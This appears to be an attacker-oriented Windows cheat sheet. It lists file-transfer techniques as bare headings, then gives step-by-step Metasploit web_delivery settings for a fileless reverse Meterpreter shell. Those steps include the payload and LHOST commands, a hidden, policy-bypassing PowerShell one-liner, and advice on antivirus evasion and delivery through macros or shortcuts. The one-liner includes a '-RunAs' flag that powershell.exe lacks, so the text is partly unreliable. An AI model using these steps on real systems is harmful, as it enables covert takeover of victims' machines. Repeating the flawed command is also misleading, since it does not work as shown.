windows cheatsheatTransfer files with SSH (SCP)
Best to copy to tmp folder as there are no restrictions mostly
basic http-Server
Powershell downloading files
Certutil cmd windows
RDP with shared folder to transfer filer - xfreerdp
Download files from server to machine in Windows
SMB Files tranfer with impacket
start smb server on attacker machine
We can also use it without specifying username and password
And now you can make aval this share on the windows system as a separate drive
And now you can transfer files to and fro from both machines.
We can also directly move files without setting it as drive.
You can use upload and download command to transfer files
Other web servers complete list
Getting a Meterpreter shell on a compromised Windows machine
exploit/: Indicates the use of a module designed to take advantage of a specific vulnerability or system configuration to execute code.
multi/: Signifies that the module is cross-platform and can target multiple operating systems (Windows, Linux, macOS).
script/: Specifies that the exploit delivers its payload via a script (like PowerShell, Python, or PHP).
web_delivery: The name of the module that hosts a payload on a temporary web server. When the victim executes a specific one-liner command, it fetches and runs the payload in memory.
Utility: PowerShell & Windows Reverse Meterpreter
The primary utility of this module is to gain a fileless reverse shell. Instead of sending an .exe file that might be caught by antivirus, you provide a single PowerShell command to the target system.
1. Usage for Windows Reverse Meterpreter
To use this for a Windows target, you would configure the module within Metasploit as follows:
Set Target: set TARGET 2 (This selects the PowerShell target, as seen in your screenshot where target => 2).
Set Payload: set PAYLOAD windows/x64/meterpreter/reverse_tcp
Set Local Host: set LHOST [Your_IP]
Execute: Type run or exploit.
2. Full Use with PowerShell
Once you hit run, Metasploit will generate a unique PowerShell "one-liner." It looks something like this: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -RunAs [Encoded_Command_String]
Why this is effective:
Antivirus Evasion: Because the payload is executed directly in memory via PowerShell, it never touches the hard drive, making it harder for standard antivirus programs to detect.
Simplicity: You only need a way to execute a single line of text on the victim's machine (e.g., via a compromised web server, a malicious shortcut, or a macro).
